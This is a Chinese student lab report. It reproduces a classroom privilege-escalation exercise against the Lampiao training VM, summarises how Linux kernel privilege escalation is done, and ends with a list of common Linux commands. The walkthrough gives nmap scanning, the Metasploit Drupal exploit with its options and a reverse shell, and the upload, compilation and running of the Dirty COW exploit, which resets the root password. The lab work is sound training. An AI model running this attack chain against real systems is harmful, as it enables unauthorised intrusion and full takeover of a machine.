目录
一、要求
1.复现上课的提权案例
2.总结Linux内核提权利用步骤(从内网信息收集到提权成功的思路)
3.总结Linux常用命令,10个以上
二、内容与步骤记录
(一)复现上课的提权案例
1. 打开案例虚拟机,在kali使用ifconfig查看IP地址
2. 通过nmap工具进行扫描
3. 发现了疑似案例机的IP,在浏览器中访问看一下,发现可以访问到一个网页,说明这个主机应该就是案例机
4使用nmap对该IP进行全端口扫描
nmap -T4 -p 1-65535 192.168.13.130
发现还有一个端口:1898,再次尝试浏览器访问,成功找到了Lampiao的登陆后台页面。
5.使用Wappalyzer插件分析网页,发现该网站所用CMS框架为Drupal
6.使用msf搜索目标后台Drupal的漏洞
msfconsole (进入msf)
search drupal (搜索目标cms)
use 1 (选择1号模块使用)
7.配置options信息
show options (显示需要的配置)
set rhost192.168.13.130 (配置为目标机器ip)
set rport 1898 (配置为目标机器开放drupal的端口)
run (开始攻击)
发现kali的4444端口成功连到了案例机的49398端口
查看一下当前用户的权限和内核的版本信息
发现用户是www-data,系统为14.04.1-Ubuntu,接下来要进行提权变为root用户。
8.下载提权脚本,压缩包拖到Kali,解压后上传到靶机
脚本地址:https://github.com/The-Z-Labs/linux-exploit-suggester
upload /home/kali/Desktop/linux-exploit-suggester-master/linux-exploit-suggester.sh /tmp/tatget.sh
进入shell检测上传情况
可以看到脚本上传成功了,但是没有执行权限,所以用chmod +x tatget.sh命令来赋予文件执行权限,然后再执行
执行脚本扫描出了很多漏洞,这里选择利用CVE-2016-5195脏牛漏洞来提权
CVE-2016-5195脏牛漏洞:https://github.com//gbonacini//CVE-2016-5195
9.同上,解压并上传
upload /home/kali/Desktop/CVE-2016-5195-master/dcow.cpp /tmp/aim.cpp
再次使用shell查看上传情况
上传成功,进行编译
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o aim aim.cpp -lutil
编译成功,执行该文件,成功地将root的密码重置成为dirtyCowFun
因为使用的是shell进行的交互,而su命令需要在终端里才能用,所以要先python打开一个终端,在这个终端里再启动一个shell:
python -c 'import pty; pty.spawn("/bin/bash")'
提权成功
(二)总结Linux内核提权利用步骤
1. 内网信息收集
(1)系统信息收集:收集目标系统的基本信息,如操作系统版本、内核版本、硬件架构等。可以使用命令如 uname -a、lsb_release -a 等。
(2)权限信息:检查当前用户的权限。使用 id、whoami、sudo -l 等命令查看当前用户的权限及sudo权限。
(3)进程信息:列出系统中运行的进程和服务,识别可能存在的提权点。命令如 ps aux、top、pstree 等。
(4)文件和目录权限:检查关键文件和目录的权限,如 /etc/sudoers、/etc/passwd、/etc/shadow、/var/log/ 等。
(5)可执行文件:检查系统上可能被利用的可执行文件和脚本。命令如 find / -perm -u=s -type f 查找 SUID 位文件。
2. 漏洞扫描和分析
(1)内核版本:了解内核版本后,查找相关的已知漏洞。可以使用 uname -r 获取内核版本,然后在漏洞数据库中查询。
(2)服务和软件版本:识别并分析运行的服务和软件版本,查找已知的漏洞或弱点。
(3)脚本和工具:使用漏洞扫描工具来发现潜在的漏洞。
3. 提权漏洞利用
(1)检查常见提权漏洞:如SUID程序漏洞、不可写的SUID程序、敏感文件权限配置错误等。
(2)利用已知漏洞:根据内核版本和系统配置,利用已知的提权漏洞。可以参考CVE、Exploit-DB、Exploit-DB等资源获取利用代码。
(3)编写或下载利用代码:编写或获取已知的漏洞利用代码并在目标系统上执行。如果目标系统缺少某些库或工具,可能需要进行调整。
(4)测试和验证:在目标系统上运行利用代码,并验证是否成功提权。如果提权成功,通常可以看到当前用户的权限提升。
(三)总结Linux常用命令
1.文件和目录操作
(1)ls- 列出目录内容
ls -l 显示详细信息
ls -a 显示所有文件,包括隐藏文件
(2)cd- 更改目录
cd /path/to/directory 切换到指定目录
cd .. 返回上级目录
cd ~ 返回用户主目录
(3)cp- 复制文件或目录
cp source_file destination_file 复制文件
cp -r source_directory destination_directory 递归复制目录
(4)mv- 移动文件或重命名文件
mv old_name new_name 重命名文件
mv file /path/to/directory 移动文件到指定目录
(5)rm- 删除文件或目录
rm file 删除文件
rm -r directory 递归删除目录
rm -f file 强制删除文件
2.文件内容查看和编辑
(1)cat- 显示文件内容
cat file_name 显示文件内容
(2)less- 分页查看文件内容
less file_name 分页显示文件内容
(3)grep- 搜索文件中的文本
grep "search_term" file_name 在文件中查找包含 "search_term" 的行
grep -r "search_term" directory 递归查找目录中的文件
(4)nano / vi / vim- 文本编辑器
nano file_name 使用 nano 编辑文件
vi file_name 使用 vi 编辑文件
vim file_name 使用 vim 编辑文件
3.系统监控和管理
(1)top- 实时显示系统进程
top 显示当前系统进程
(2)ps- 显示当前进程
ps aux 显示所有进程
(3)df- 显示磁盘使用情况
df -h 以人类可读的格式显示磁盘使用情况
(4)du- 显示目录或文件的磁盘使用量
du -sh directory 显示目录的总使用量
(5)free- 显示内存使用情况
free -h 以人类可读的格式显示内存使用情况
4.网络相关
(1)ping- 测试网络连接
ping <ip地址> 测试与ip地址的连接
(2)ifconfig或ip- 显示或配置网络接口
ifconfig 显示网络接口信息(有时需要安装 net-tools 包)
ip addr 显示网络接口信息
(3)netstat- 显示网络连接、路由表等
netstat -tuln 显示所有监听中的网络连接